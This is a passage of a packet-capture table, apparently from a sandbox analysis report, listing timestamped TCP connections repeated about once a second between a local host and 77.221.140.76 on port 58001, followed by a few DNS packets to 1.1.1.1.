Jun 17, 2024 16:20:14.370096922 CEST	58001	65341	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:14.370202065 CEST	65341	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:14.370887995 CEST	65341	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:14.375701904 CEST	58001	65341	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:14.375766039 CEST	65341	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:14.380532026 CEST	58001	65341	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:15.384116888 CEST	58001	65341	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:15.384185076 CEST	65341	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:15.384465933 CEST	65341	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:15.389231920 CEST	58001	65341	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:15.490468025 CEST	65342	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:15.495683908 CEST	58001	65342	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:15.495763063 CEST	65342	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:15.496625900 CEST	65342	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:15.501452923 CEST	58001	65342	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:15.501508951 CEST	65342	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:15.506421089 CEST	58001	65342	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:16.531490088 CEST	58001	65342	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:16.531713009 CEST	65342	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:16.531883001 CEST	65342	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:16.536669016 CEST	58001	65342	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:16.647892952 CEST	65343	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:16.652991056 CEST	58001	65343	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:16.653788090 CEST	65343	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:16.654303074 CEST	65343	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:16.659143925 CEST	58001	65343	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:16.659209013 CEST	65343	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:16.664022923 CEST	58001	65343	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:17.675487995 CEST	58001	65343	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:17.675658941 CEST	65343	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:17.675756931 CEST	65343	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:17.680607080 CEST	58001	65343	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:17.786812067 CEST	65344	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:17.791836977 CEST	58001	65344	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:17.791961908 CEST	65344	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:17.792701006 CEST	65344	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:17.797543049 CEST	58001	65344	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:17.797620058 CEST	65344	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:17.802437067 CEST	58001	65344	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:18.774848938 CEST	58001	65344	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:18.775130033 CEST	65344	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:18.775265932 CEST	65344	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:18.780160904 CEST	58001	65344	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:18.880681038 CEST	65345	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:18.885695934 CEST	58001	65345	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:18.885797024 CEST	65345	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:18.886437893 CEST	65345	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:18.891233921 CEST	58001	65345	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:18.891297102 CEST	65345	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:18.896246910 CEST	58001	65345	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:19.881266117 CEST	58001	65345	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:19.881735086 CEST	65345	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:19.881882906 CEST	65345	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:19.886641026 CEST	58001	65345	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:19.990017891 CEST	65346	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:19.995341063 CEST	58001	65346	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:19.995480061 CEST	65346	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:19.996090889 CEST	65346	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:20.001441002 CEST	58001	65346	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:20.001511097 CEST	65346	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:20.006381989 CEST	58001	65346	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:20.992120028 CEST	58001	65346	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:20.992196083 CEST	65346	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:20.992331982 CEST	65346	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:20.997086048 CEST	58001	65346	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:21.100064993 CEST	65347	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:21.105289936 CEST	58001	65347	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:21.105407953 CEST	65347	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:21.105986118 CEST	65347	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:21.110766888 CEST	58001	65347	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:21.111885071 CEST	65347	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:21.116646051 CEST	58001	65347	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:22.143580914 CEST	58001	65347	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:22.143706083 CEST	65347	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:22.143893957 CEST	65347	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:22.148833036 CEST	58001	65347	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:22.256078959 CEST	65348	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:22.261112928 CEST	58001	65348	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:22.261207104 CEST	65348	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:22.261852026 CEST	65348	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:22.269900084 CEST	58001	65348	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:22.269963980 CEST	65348	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:22.274864912 CEST	58001	65348	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:23.260308981 CEST	58001	65348	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:23.260518074 CEST	65348	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:23.261653900 CEST	65348	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:23.266453028 CEST	58001	65348	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:23.365153074 CEST	65349	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:23.370076895 CEST	58001	65349	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:23.371737957 CEST	65349	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:23.372374058 CEST	65349	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:23.377264977 CEST	58001	65349	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:23.377712011 CEST	65349	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:23.382508039 CEST	58001	65349	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:24.396687984 CEST	58001	65349	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:24.396764994 CEST	65349	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:24.397066116 CEST	65349	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:24.401803017 CEST	58001	65349	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:24.505795956 CEST	65350	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:24.510827065 CEST	58001	65350	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:24.510910988 CEST	65350	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:24.511709929 CEST	65350	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:24.516474009 CEST	58001	65350	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:24.516555071 CEST	65350	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:24.521342039 CEST	58001	65350	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:25.524549007 CEST	58001	65350	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:25.524643898 CEST	65350	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:25.524736881 CEST	65350	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:25.529512882 CEST	58001	65350	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:25.630605936 CEST	65351	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:25.635685921 CEST	58001	65351	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:25.635904074 CEST	65351	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:25.636698008 CEST	65351	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:25.642988920 CEST	58001	65351	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:25.643062115 CEST	65351	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:25.647919893 CEST	58001	65351	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:26.672156096 CEST	58001	65351	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:26.672308922 CEST	65351	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:26.672472000 CEST	65351	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:26.677295923 CEST	58001	65351	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:26.786911964 CEST	65352	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:26.791984081 CEST	58001	65352	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:26.792095900 CEST	65352	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:26.792761087 CEST	65352	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:26.798413992 CEST	58001	65352	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:26.798466921 CEST	65352	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:26.803484917 CEST	58001	65352	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:27.830126047 CEST	58001	65352	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:27.830199003 CEST	65352	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:27.830406904 CEST	65352	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:27.835247040 CEST	58001	65352	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:27.943101883 CEST	65353	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:27.948194027 CEST	58001	65353	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:27.948297024 CEST	65353	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:27.948923111 CEST	65353	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:27.953680992 CEST	58001	65353	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:27.953743935 CEST	65353	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:27.958623886 CEST	58001	65353	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:28.947874069 CEST	58001	65353	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:28.949902058 CEST	65353	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:28.949902058 CEST	65353	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:28.954814911 CEST	58001	65353	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:29.068182945 CEST	65354	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:29.073124886 CEST	58001	65354	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:29.073751926 CEST	65354	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:29.075170994 CEST	65354	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:29.079901934 CEST	58001	65354	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:29.081731081 CEST	65354	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:29.086535931 CEST	58001	65354	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:30.111597061 CEST	58001	65354	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:30.111666918 CEST	65354	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:30.111874104 CEST	65354	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:30.116677999 CEST	58001	65354	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:30.224298000 CEST	65355	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:30.230457067 CEST	58001	65355	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:30.230525017 CEST	65355	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:30.231543064 CEST	65355	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:30.237227917 CEST	58001	65355	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:30.237276077 CEST	65355	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:30.242178917 CEST	58001	65355	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:31.229001999 CEST	58001	65355	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:31.229060888 CEST	65355	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:31.229186058 CEST	65355	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:31.234122038 CEST	58001	65355	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:31.333811045 CEST	65356	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:31.338841915 CEST	58001	65356	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:31.338979006 CEST	65356	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:31.340167999 CEST	65356	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:31.345895052 CEST	58001	65356	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:31.346085072 CEST	65356	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:31.350996017 CEST	58001	65356	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:32.376288891 CEST	58001	65356	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:32.376384974 CEST	65356	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:32.376532078 CEST	65356	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:32.381421089 CEST	58001	65356	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:32.492062092 CEST	65357	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:32.497912884 CEST	58001	65357	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:32.498004913 CEST	65357	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:32.498676062 CEST	65357	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:32.503577948 CEST	58001	65357	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:32.503701925 CEST	65357	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:32.508677959 CEST	58001	65357	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:33.509999990 CEST	58001	65357	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:33.510118008 CEST	65357	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:33.510243893 CEST	65357	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:33.515436888 CEST	58001	65357	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:33.615123034 CEST	65358	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:33.620737076 CEST	58001	65358	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:33.620831966 CEST	65358	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:33.621699095 CEST	65358	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:33.627001047 CEST	58001	65358	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:33.627062082 CEST	65358	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:33.633621931 CEST	58001	65358	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:34.621407986 CEST	58001	65358	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:34.621469021 CEST	65358	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:34.621582985 CEST	65358	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:34.629443884 CEST	58001	65358	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:34.739972115 CEST	65359	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:34.750025988 CEST	58001	65359	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:34.750142097 CEST	65359	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:34.750853062 CEST	65359	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:34.756930113 CEST	58001	65359	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:34.757020950 CEST	65359	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:34.762104034 CEST	58001	65359	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:35.749655008 CEST	58001	65359	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:35.749758959 CEST	65359	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:35.749890089 CEST	65359	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:35.757316113 CEST	58001	65359	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:35.866347075 CEST	65360	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:35.871535063 CEST	58001	65360	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:35.871623039 CEST	65360	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:35.874003887 CEST	65360	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:35.878853083 CEST	58001	65360	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:35.878925085 CEST	65360	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:35.883902073 CEST	58001	65360	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:36.038192034 CEST	65360	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:36.043133020 CEST	58001	65360	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:36.043203115 CEST	65360	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:36.047974110 CEST	58001	65360	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:36.763072968 CEST	58001	65360	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:36.763164997 CEST	65360	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:36.763400078 CEST	65360	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:36.770690918 CEST	58001	65360	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:36.881617069 CEST	65361	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:36.888089895 CEST	58001	65361	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:36.888210058 CEST	65361	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:36.889009953 CEST	65361	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:36.895601988 CEST	58001	65361	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:36.895699024 CEST	65361	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:36.901685953 CEST	58001	65361	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:37.904201984 CEST	58001	65361	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:37.904272079 CEST	65361	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:37.904504061 CEST	65361	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:37.929730892 CEST	58001	65361	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:38.021509886 CEST	65362	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:38.036978960 CEST	58001	65362	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:38.037070036 CEST	65362	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:38.037866116 CEST	65362	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:38.058840990 CEST	58001	65362	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:38.058907032 CEST	65362	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:38.064147949 CEST	58001	65362	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:39.109857082 CEST	58001	65362	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:39.110158920 CEST	65362	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:39.111999989 CEST	65362	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:39.116906881 CEST	58001	65362	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:39.224329948 CEST	65363	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:39.229486942 CEST	58001	65363	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:39.229576111 CEST	65363	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:39.230501890 CEST	65363	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:39.235306025 CEST	58001	65363	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:39.235394955 CEST	65363	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:39.240320921 CEST	58001	65363	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:40.262852907 CEST	58001	65363	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:40.263055086 CEST	65363	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:40.263139963 CEST	65363	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:40.272176981 CEST	58001	65363	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:40.380647898 CEST	65364	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:40.385674000 CEST	58001	65364	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:40.385967016 CEST	65364	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:40.386630058 CEST	65364	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:40.391382933 CEST	58001	65364	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:40.391486883 CEST	65364	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:40.396254063 CEST	58001	65364	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:41.379488945 CEST	58001	65364	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:41.379553080 CEST	65364	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:41.379829884 CEST	65364	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:41.385283947 CEST	58001	65364	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:41.490339041 CEST	65365	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:41.495471954 CEST	58001	65365	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:41.495554924 CEST	65365	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:41.496543884 CEST	65365	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:41.505470037 CEST	58001	65365	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:41.505531073 CEST	65365	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:41.510798931 CEST	58001	65365	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:42.525815964 CEST	58001	65365	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:42.525965929 CEST	65365	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:42.526094913 CEST	65365	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:42.531078100 CEST	58001	65365	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:42.631387949 CEST	65366	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:42.636389017 CEST	58001	65366	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:42.637629986 CEST	65366	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:42.638273001 CEST	65366	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:42.643049955 CEST	58001	65366	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:42.643161058 CEST	65366	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:42.648036003 CEST	58001	65366	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:43.672384977 CEST	58001	65366	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:43.672521114 CEST	65366	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:43.672719955 CEST	65366	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:43.677658081 CEST	58001	65366	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:43.786756039 CEST	65367	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:43.793021917 CEST	58001	65367	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:43.793760061 CEST	65367	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:43.794794083 CEST	65367	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:43.801059008 CEST	58001	65367	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:43.801141977 CEST	65367	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:43.806168079 CEST	58001	65367	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:44.829916000 CEST	58001	65367	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:44.830043077 CEST	65367	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:44.830138922 CEST	65367	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:44.834960938 CEST	58001	65367	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:44.943157911 CEST	65368	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:44.948312998 CEST	58001	65368	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:44.948410034 CEST	65368	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:44.948987961 CEST	65368	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:44.953897953 CEST	58001	65368	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:44.953994989 CEST	65368	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:44.958976984 CEST	58001	65368	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:45.946890116 CEST	58001	65368	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:45.947051048 CEST	65368	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:45.947176933 CEST	65368	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:45.955822945 CEST	58001	65368	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:46.052637100 CEST	65369	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:46.059607029 CEST	58001	65369	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:46.059700012 CEST	65369	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:46.060364008 CEST	65369	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:46.066260099 CEST	58001	65369	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:46.066365004 CEST	65369	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:46.071312904 CEST	58001	65369	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:47.101639032 CEST	58001	65369	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:47.101710081 CEST	65369	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:21:17.368932009 CEST	65369	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:21:17.374083996 CEST	58001	65369	77.221.140.76	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 17, 2024 16:18:40.972147942 CEST	63179	53	192.168.2.4	1.1.1.1
Jun 17, 2024 16:18:40.995023966 CEST	53	63179	1.1.1.1	192.168.2.4
Jun 17, 2024 16:18:58.221488953 CEST	53773	53	192.168.2.4	1.1.1.1
